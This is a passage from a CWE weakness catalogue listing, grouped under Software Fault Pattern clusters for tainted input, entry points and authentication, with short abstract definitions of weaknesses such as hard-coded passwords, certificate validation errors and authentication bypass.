The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Incomplete Identification of Uploaded File Variables (PHP) - (616)
888 (Software Fault Pattern (SFP) Clusters) > 896 (SFP Primary Cluster: Tainted Input) > 994 (SFP Secondary Cluster: Tainted Input to Variable) > 616 (Incomplete Identification of Uploaded File Variables (PHP))
The PHP application uses an old method for processing uploaded files by referencing the four global variables that are set for each file (e.g. $varname, $varname_size, $varname_name, $varname_type). These variables could be overwritten by attackers, causing the application to process unauthorized files.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Entry Points - (897)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points)
This category identifies Software Fault Patterns (SFPs) within the Entry Points cluster (SFP28).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Unexpected Entry Points - (1002)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points)
This category identifies Software Fault Patterns (SFPs) within the Unexpected Entry Points cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Active Debug Code - (489)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 489 (Active Debug Code)
The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.Leftover debug code
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Public cloneable() Method Without Final ('Object Hijack') - (491)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 491 (Public cloneable() Method Without Final ('Object Hijack'))
A class has a cloneable() method that is not declared final, which allows an object to be created without calling the constructor. This can cause the object to be in an unexpected state.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Critical Public Variable Without Final Modifier - (493)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 493 (Critical Public Variable Without Final Modifier)
The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Public Static Field Not Marked Final - (500)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 500 (Public Static Field Not Marked Final)
An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Inclusion of Sensitive Information in Test Code - (531)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 531 (Inclusion of Sensitive Information in Test Code)
Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.finalize() Method Without super.finalize() - (568)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 568 (finalize() Method Without super.finalize())
The product contains a finalize() method that does not call super.finalize().
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.clone() Method Without super.clone() - (580)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 580 (clone() Method Without super.clone())
The product contains a clone() method that does not call super.clone() to obtain the new object.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Array Declared Public, Final, and Static - (582)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 582 (Array Declared Public, Final, and Static)
The product declares an array public, final, and static, which is not sufficient to prevent the array's contents from being modified.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.finalize() Method Declared Public - (583)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 583 (finalize() Method Declared Public)
The product violates secure coding principles for mobile code by declaring a finalize() method public.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Struts: Non-private Field in ActionForm Class - (608)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 608 (Struts: Non-private Field in ActionForm Class)
An ActionForm class contains a field that has not been declared private, which can be accessed without using a setter or getter.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Critical Data Element Declared Public - (766)
888 (Software Fault Pattern (SFP) Clusters) > 897 (SFP Primary Cluster: Entry Points) > 1002 (SFP Secondary Cluster: Unexpected Entry Points) > 766 (Critical Data Element Declared Public)
The product declares a critical variable, field, or member to be public when intended security policy requires it to be private.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Primary Cluster: Authentication - (898)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication)
This category identifies Software Fault Patterns (SFPs) within the Authentication cluster (SFP29, SFP30, SFP31, SFP32, SFP33, SFP34).
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Authentication Bypass - (947)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 947 (SFP Secondary Cluster: Authentication Bypass)
This category identifies Software Fault Patterns (SFPs) within the Authentication Bypass cluster.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Improper Authentication - (287)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 947 (SFP Secondary Cluster: Authentication Bypass) > 287 (Improper Authentication)
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.authentificationAuthNAuthC
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Authentication Bypass Using an Alternate Path or Channel - (288)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 947 (SFP Secondary Cluster: Authentication Bypass) > 288 (Authentication Bypass Using an Alternate Path or Channel)
A product requires authentication, but the product has an alternate path or channel that does not require authentication.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Authentication Bypass by Alternate Name - (289)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 947 (SFP Secondary Cluster: Authentication Bypass) > 289 (Authentication Bypass by Alternate Name)
The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Implementation of Authentication Algorithm - (303)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 947 (SFP Secondary Cluster: Authentication Bypass) > 303 (Incorrect Implementation of Authentication Algorithm)
The requirements for the product dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Critical Step in Authentication - (304)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 947 (SFP Secondary Cluster: Authentication Bypass) > 304 (Missing Critical Step in Authentication)
The product implements an authentication technique, but it skips a step that weakens the technique.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Authentication Bypass by Primary Weakness - (305)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 947 (SFP Secondary Cluster: Authentication Bypass) > 305 (Authentication Bypass by Primary Weakness)
The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Single-factor Authentication - (308)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 947 (SFP Secondary Cluster: Authentication Bypass) > 308 (Use of Single-factor Authentication)
The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Password System for Primary Authentication - (309)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 947 (SFP Secondary Cluster: Authentication Bypass) > 309 (Use of Password System for Primary Authentication)
The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Client-Side Authentication - (603)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 947 (SFP Secondary Cluster: Authentication Bypass) > 603 (Use of Client-Side Authentication)
A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Digital Certificate - (948)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 948 (SFP Secondary Cluster: Digital Certificate)
This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Following of a Certificate's Chain of Trust - (296)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 948 (SFP Secondary Cluster: Digital Certificate) > 296 (Improper Following of a Certificate's Chain of Trust)
The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Validation of Certificate with Host Mismatch - (297)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 948 (SFP Secondary Cluster: Digital Certificate) > 297 (Improper Validation of Certificate with Host Mismatch)
The product communicates with a host that provides a certificate, but the product does not properly ensure that the certificate is actually associated with that host.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Improper Validation of Certificate Expiration - (298)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 948 (SFP Secondary Cluster: Digital Certificate) > 298 (Improper Validation of Certificate Expiration)
A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Improper Check for Certificate Revocation - (299)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 948 (SFP Secondary Cluster: Digital Certificate) > 299 (Improper Check for Certificate Revocation)
The product does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created - (593)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 948 (SFP Secondary Cluster: Digital Certificate) > 593 (Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created)
The product modifies the SSL context after connection creation has begun.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Missing Validation of OpenSSL Certificate - (599)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 948 (SFP Secondary Cluster: Digital Certificate) > 599 (Missing Validation of OpenSSL Certificate)
The product uses OpenSSL and trusts or uses a certificate without using the SSL_get_verify_result() function to ensure that the certificate satisfies all necessary security requirements.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Faulty Endpoint Authentication - (949)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 949 (SFP Secondary Cluster: Faulty Endpoint Authentication)
This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster (SFP29).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Using Referer Field for Authentication - (293)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 949 (SFP Secondary Cluster: Faulty Endpoint Authentication) > 293 (Using Referer Field for Authentication)
The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking.referrer
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Authentication Bypass by Assumed-Immutable Data - (302)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 949 (SFP Secondary Cluster: Faulty Endpoint Authentication) > 302 (Authentication Bypass by Assumed-Immutable Data)
The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Insufficient Verification of Data Authenticity - (345)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 949 (SFP Secondary Cluster: Faulty Endpoint Authentication) > 345 (Insufficient Verification of Data Authenticity)
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
*ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.Origin Validation Error - (346)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 949 (SFP Secondary Cluster: Faulty Endpoint Authentication) > 346 (Origin Validation Error)
The product does not properly verify that the source of data or communication is valid.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Reliance on Reverse DNS Resolution for a Security-Critical Action - (350)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 949 (SFP Secondary Cluster: Faulty Endpoint Authentication) > 350 (Reliance on Reverse DNS Resolution for a Security-Critical Action)
The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Trust of System Event Data - (360)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 949 (SFP Secondary Cluster: Faulty Endpoint Authentication) > 360 (Trust of System Event Data)
Security based on event locations are insecure and can be spoofed.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Incorrect Behavior Order: Authorization Before Parsing and Canonicalization - (551)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 949 (SFP Secondary Cluster: Faulty Endpoint Authentication) > 551 (Incorrect Behavior Order: Authorization Before Parsing and Canonicalization)
If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Reliance on Cookies without Validation and Integrity Checking - (565)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 949 (SFP Secondary Cluster: Faulty Endpoint Authentication) > 565 (Reliance on Cookies without Validation and Integrity Checking)
The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Non-Canonical URL Paths for Authorization Decisions - (647)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 949 (SFP Secondary Cluster: Faulty Endpoint Authentication) > 647 (Use of Non-Canonical URL Paths for Authorization Decisions)
The product defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Hardcoded Sensitive Data - (950)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 950 (SFP Secondary Cluster: Hardcoded Sensitive Data)
This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster (SFP33).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Empty Password in Configuration File - (258)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 950 (SFP Secondary Cluster: Hardcoded Sensitive Data) > 258 (Empty Password in Configuration File)
Using an empty string as a password is insecure.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Hard-coded Password - (259)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 950 (SFP Secondary Cluster: Hardcoded Sensitive Data) > 259 (Use of Hard-coded Password)
The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Use of Hard-coded Cryptographic Key - (321)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 950 (SFP Secondary Cluster: Hardcoded Sensitive Data) > 321 (Use of Hard-coded Cryptographic Key)
The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Use of Hard-coded, Security-relevant Constants - (547)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 950 (SFP Secondary Cluster: Hardcoded Sensitive Data) > 547 (Use of Hard-coded, Security-relevant Constants)
The product uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Insecure Authentication Policy - (951)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 951 (SFP Secondary Cluster: Insecure Authentication Policy)
This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Not Using Password Aging - (262)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 951 (SFP Secondary Cluster: Insecure Authentication Policy) > 262 (Not Using Password Aging)
The product does not have a mechanism in place for managing password aging.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Password Aging with Long Expiration - (263)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 951 (SFP Secondary Cluster: Insecure Authentication Policy) > 263 (Password Aging with Long Expiration)
The product supports password aging, but the expiration period is too long.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Weak Password Requirements - (521)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 951 (SFP Secondary Cluster: Insecure Authentication Policy) > 521 (Weak Password Requirements)
The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.ASP.NET Misconfiguration: Use of Identity Impersonation - (556)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 951 (SFP Secondary Cluster: Insecure Authentication Policy) > 556 (ASP.NET Misconfiguration: Use of Identity Impersonation)
Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Insufficient Session Expiration - (613)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 951 (SFP Secondary Cluster: Insecure Authentication Policy) > 613 (Insufficient Session Expiration)
According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Overly Restrictive Account Lockout Mechanism - (645)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 951 (SFP Secondary Cluster: Insecure Authentication Policy) > 645 (Overly Restrictive Account Lockout Mechanism)
The product contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Missing Authentication - (952)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 952 (SFP Secondary Cluster: Missing Authentication)
This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Missing Authentication for Critical Function - (306)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 952 (SFP Secondary Cluster: Missing Authentication) > 306 (Missing Authentication for Critical Function)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Unverified Password Change - (620)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 952 (SFP Secondary Cluster: Missing Authentication) > 620 (Unverified Password Change)
When setting a new password for a user, the product does not require knowledge of the original password, or using another form of authentication.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Missing Endpoint Authentication - (953)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 953 (SFP Secondary Cluster: Missing Endpoint Authentication)
This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster (SFP30).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Unprotected Windows Messaging Channel ('Shatter') - (422)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 953 (SFP Secondary Cluster: Missing Endpoint Authentication) > 422 (Unprotected Windows Messaging Channel ('Shatter'))
The product does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.
*BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.Direct Request ('Forced Browsing') - (425)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 953 (SFP Secondary Cluster: Missing Endpoint Authentication) > 425 (Direct Request ('Forced Browsing'))
The web application does not adequately enforce appropriate authorization on all restricted URLs, scripts, or files.forced browsing
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Multiple Binds to the Same Port - (954)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 954 (SFP Secondary Cluster: Multiple Binds to the Same Port)
This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster (SFP32).
*VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.Multiple Binds to the Same Port - (605)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 954 (SFP Secondary Cluster: Multiple Binds to the Same Port) > 605 (Multiple Binds to the Same Port)
When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.
+CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.SFP Secondary Cluster: Unrestricted Authentication - (955)
888 (Software Fault Pattern (SFP) Clusters) > 898 (SFP Primary Cluster: Authentication) > 955 (SFP Secondary Cluster: Unrestricted Authentication)
